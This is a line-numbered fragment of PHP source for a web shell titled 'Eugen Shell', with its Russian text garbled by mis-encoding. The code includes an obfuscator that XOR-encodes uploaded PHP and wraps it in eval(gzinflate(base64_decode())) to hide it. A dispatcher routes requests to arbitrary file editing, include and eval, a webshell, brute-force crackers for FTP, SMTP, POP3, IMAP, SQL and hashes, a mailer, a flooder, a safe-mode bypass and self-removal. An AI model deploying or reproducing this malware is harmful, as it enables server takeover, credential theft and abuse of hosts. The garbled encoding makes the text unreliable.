7197<small>(пЮГПЕЬ╦ММШЕ ПЮЯЬХПЕМХЪ: php, php3, php4, php5)</small><br />
7198
7199<input type="file" name="file" /> <input type="submit" value="Crypt it!" /><br />
7200
7201</form>
7202
7203<? echo $et.$footer; ?>
7204
7205</body>
7206
7207</html>
7208
7209<?php
7210
7211exit();
7212
7213} else {
7214
7215$file_ext=get_file_ext($HTTP_POST_FILES['file']['name']);
7216
7217if ($file_ext != "php" && $file_ext != "php3" && $file_ext != "php4" && $file_ext != "php5") {
7218
7219die ("<h2>гЮЦПСФЕММШИ ТЮИК МЕ ЪБКЪЕРЯЪ пмп ЯЙПХОРÐЛ!</h2>");
7220
7221}
7222
7223$input = $_FILES['file']['tmp_name'];
7224
7225$f=join("", file($input));
7226
7227$key = rand(1,99);
7228
7229$new = '';$len=strlen($f);
7230
7231for($i=0;$i<$len;$i++)
7232
7233{
7234
7235$new .= chr(ord($f[$i]) ^ $key);
7236
7237}
7238
7239$new=str_replace("\"","\\\"",$new);
7240
7241$new=str_replace("\$","\\$",$new);
7242
7243$kaka1=rand(0,99);
7244
7245$kaka2=rand(0,99);
7246
7247$kaka3=rand(0,99);
7248
7249$kaka4=rand(0,99);
7250
7251$kaka5=rand(0,99);
7252
7253$kaka6=rand(0,99);
7254
7255$kaka7=rand(0,99);
7256
7257$kaka8=rand(0,99);
7258
7259$kaka9=rand(0,99);
7260
7261$code1 = base64_encode(gzdeflate("\$k".$kaka1."e".$kaka2."y".$kaka3."_t".$kaka4."h".$kaka5."a".$kaka6."t".$kaka7."_".$kaka8."s".$kaka9."c".$kaka2."r".$kaka3."i".$kaka4."p".$kaka5."t".$kaka6."_".$kaka7."i".$kaka8."s".$kaka9."_".$kaka3."c".$kaka4."r".$kaka5."y".$kaka6."p".$kaka7."t".$kaka8."e".$kaka9."d".$kaka4."=".$key.";\$r".$kaka2."e".$kaka4."s".$kaka6."o".$kaka8."u".$kaka1."r".$kaka3."c".$kaka5."e_c".$kaka7."r".$kaka9."y".$kaka1."p".$kaka2."t".$kaka3."e".$kaka4."d_c".$kaka5."o".$kaka6."d".$kaka7."e".$kaka8."=\"".$new."\";\$s".$kaka1."t".$kaka3."r".$kaka5."i".$kaka7."n".$kaka9."g_o".$kaka2."u".$kaka4."t".$kaka6."p".$kaka8."u".$kaka5."t".$kaka9."=\$r".$kaka2."e".$kaka4."s".$kaka6."o".$kaka8."u".$kaka1."r".$kaka3."c".$kaka5."e_c".$kaka7."r".$kaka9."y".$kaka1."p".$kaka2."t".$kaka3."e".$kaka4."d_c".$kaka5."o".$kaka6."d".$kaka7."e".$kaka8.";\$l".$kaka9."e".$kaka8."n".$kaka7."t".$kaka6."h_o".$kaka5."f_c".$kaka4."r".$kaka3."y".$kaka2."p".$kaka1."t".$kaka8."e".$kaka7."d_c".$kaka6."o".$kaka5."d".$kaka4."e".$kaka3."=strlen(\$s".$kaka1."t".$kaka3."r".$kaka5."i".$kaka7."n".$kaka9."g_o".$kaka2."u".$kaka4."t".$kaka6."p".$kaka8."u".$kaka5."t".$kaka9.");\$e".$kaka9."v".$kaka7."a".$kaka5."l_p".$kaka3."h".$kaka1."p_c".$kaka2."o".$kaka4."d".$kaka6."e".$kaka8."='';for(\$h".$kaka8."u".$kaka6."i".$kaka4."v".$kaka2."a".$kaka1."m".$kaka3."v".$kaka5."s".$kaka7."e".$kaka9."m=0;\$h".$kaka8."u".$kaka6."i".$kaka4."v".$kaka2."a".$kaka1."m".$kaka3."v".$kaka5."s".$kaka7."e".$kaka9."m<\$l".$kaka9."e".$kaka8."n".$kaka7."t".$kaka6."h_o".$kaka5."f_c".$kaka4."r".$kaka3."y".$kaka2."p".$kaka1."t".$kaka8."e".$kaka7."d_c".$kaka6."o".$kaka5."d".$kaka4."e".$kaka3.";\$h".$kaka8."u".$kaka6."i".$kaka4."v".$kaka2."a".$kaka1."m".$kaka3."v".$kaka5."s".$kaka7."e".$kaka9."m++)\$e".$kaka9."v".$kaka7."a".$kaka5."l_p".$kaka3."h".$kaka1."p_c".$kaka2."o".$kaka4."d".$kaka6."e".$kaka8." .= chr(ord(\$s".$kaka1."t".$kaka3."r".$kaka5."i".$kaka7."n".$kaka9."g_o".$kaka2."u".$kaka4."t".$kaka6."p".$kaka8."u".$kaka5."t".$kaka9."[\$h".$kaka8."u".$kaka6."i".$kaka4."v".$kaka2."a".$kaka1."m".$kaka3."v".$kaka5."s".$kaka7."e".$kaka9."m]) ^ \$k".$kaka1."e".$kaka2."y".$kaka3."_t".$kaka4."h".$kaka5."a".$kaka6."t".$kaka7."_".$kaka8."s".$kaka9."c".$kaka2."r".$kaka3."i".$kaka4."p".$kaka5."t".$kaka6."_".$kaka7."i".$kaka8."s".$kaka9."_".$kaka3."c".$kaka4."r".$kaka5."y".$kaka6."p".$kaka7."t".$kaka8."e".$kaka9."d".$kaka4.");eval(\"?>\".\$e".$kaka9."v".$kaka7."a".$kaka5."l_p".$kaka3."h".$kaka1."p_c".$kaka2."o".$kaka4."d".$kaka6."e".$kaka8.".\"<?\");",9));
7262
7263$code="<? eval(gzinflate(base64_decode(\"".$code1."\"))); ?>";
7264
7265header("Content-type: application/octet-stream");
7266
7267header("Content-disposition: attachment; filename=\"crypted.".$file_ext."\";");
7268
7269header("Content-length: ".strlen($code));
7270
7271echo $code;
7272
7273exit();
7274
7275}
7276
7277}
7278
7279?>
7280
7281<html>
7282
7283<head>
7284
7285<? echo $mainmenu; ?>
7286
7287<title>Eugen Shell - <?=getcwd();?></title>
7288
7289</head>
7290
7291<body text="#ffffff" bgcolor="#181818" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC" onLoad="writeMenus()" onResize="if (isNS4) nsResizeHandler()">
7292
7293<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%">
7294
7295<tr><td><br>ÑХЯРЕЛМЮЪ ДЮРЮ: <? echo $date." ".$time_now; ?></td></tr></table><hr size=1 noshade>
7296
7297<?php
7298
7299if (!empty($_REQUEST['sec'])){
7300
7301switch($_REQUEST['sec']){
7302
7303case 'fm':filemanager();break;
7304
7305case 'sc':scanner();break;
7306
7307case 'phpinfo':ob_start();
7308
7309phpinfo();
7310
7311$phpinfo=ob_get_contents();
7312
7313ob_end_clean();
7314
7315$phpinfo=preg_replace("#<!DOCTYPE[^>]*?[>].*?<body>#is","",$phpinfo);
7316
7317$phpinfo=preg_replace("#</body[^>]*?[>].*?</html>#is","",$phpinfo);
7318
7319echo $phpinfo;
7320
7321break;
7322
7323case 'edit': if (!empty($_REQUEST['open']))editor($_REQUEST['file']);
7324
7325if (!empty($_REQUEST['save'])){
7326
7327$filehandle= fopen($_REQUEST['file'],"w");
7328
7329fwrite($filehandle,$_REQUEST['edited']);
7330
7331fclose($filehandle);}
7332
7333if (!empty($_REQUEST['file'])) editor($_REQUEST['file']);else editor('');
7334
7335break;
7336
7337case 'openit':openit($_REQUEST['name']);break;
7338
7339case 'cr': cracker();break;
7340
7341case 'dic':dicmaker();break;
7342
7343case 'whois':whois();break;
7344
7345case 'hex':hexview();break;
7346
7347case 'img':showimage($_REQUEST['file']);break;
7348
7349case 'inc':include ($_REQUEST['file']);break;
7350
7351case 'hc':hashcracker();break;
7352
7353case 'fcr':formcracker();break;
7354
7355case 'snmp':snmpcracker();break;
7356
7357case 'sql':sqlcracker();break;
7358
7359case 'auth':authcracker();break;
7360
7361case 'pop3':pop3cracker();break;
7362
7363case 'imap':imapcracker();break;
7364
7365case 'smtp':smtpcracker();break;
7366
7367case 'ftp':ftpcracker();break;
7368
7369case 'eval':phpeval();break;
7370
7371case 'http':http();break;
7372
7373case 'px':proxy();break;
7374
7375case 'webshell':webshell();break;
7376
7377case 'mailer':mailer();break;
7378
7379case 'tools':tools();break;
7380
7381case 'asm':safemode();break;
7382
7383case 'icq':icqbrute();break;
7384
7385case 'code':calc();break;
7386
7387case 'chmod':cm();break;
7388
7389case 'selfremove':selfremove();break;
7390
7391case 'hash':code();break;
7392
7393case 'fflooder':fflooder();break;
7394
7395case 'calc':calc();break;
7396
7397case 'sysinfo':sysinfo();break;
7398
7399case 'mbr':mrabrute();break;
7400
7401case 'checksum':checksum($_REQUEST['file']);break;
7402
7403case 'prc':proxycheck();break;
7404
7405case 'about':echo $intro;break;
7406
7407default: filemanager();
7408
7409}}else { filemanager(); }
7410
7411echo $footer;
7412
7413?>
7414
7415</body>
7416
7417</html>